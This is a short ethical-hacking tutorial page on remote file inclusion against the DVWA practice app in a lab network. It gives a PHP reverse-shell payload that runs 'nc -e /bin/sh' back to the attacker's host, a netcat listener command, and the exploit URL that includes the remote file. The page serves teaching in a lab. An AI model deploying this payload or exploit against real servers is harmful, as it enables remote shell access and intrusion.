zoukankan      html  css  js  c++  java
  • Ethical Hacking

    REMOTE FILE INCLUSION

    • Similar to local file inclusion.
    • But allows an attacker to read ANY file from ANY server.
    • Execute PHP files from other servers on the current server.
    • Store PHP files on other servers as .txt.

    Pre-Condition:

    Set allow_url_include to On status.

     Restart web service

    Create a local php file on /var/www/html.

    <?php
    passthru("nc -e /bin/sh 10.0.0.13 8080");
    ?>

    Execute the NC command to wait for connection.

    nc -vv -l -p 8080

    Visit the URL(http://10.0.0.24/dvwa/vulnerabilities/fi/?page=http://10.0.0.13/reverse.txt?) to execute the reverse connection commands.

     We connect to the target machine successfully.

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    Html中常用的属性
    vue-页面回退
    vue-watch
    html
    Html-列表
    vue项目中px自动转换为rem
    vuex使用
    localStorage的使用
    slot
    模糊查询
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12274844.html
Copyright © 2011-2022 走看看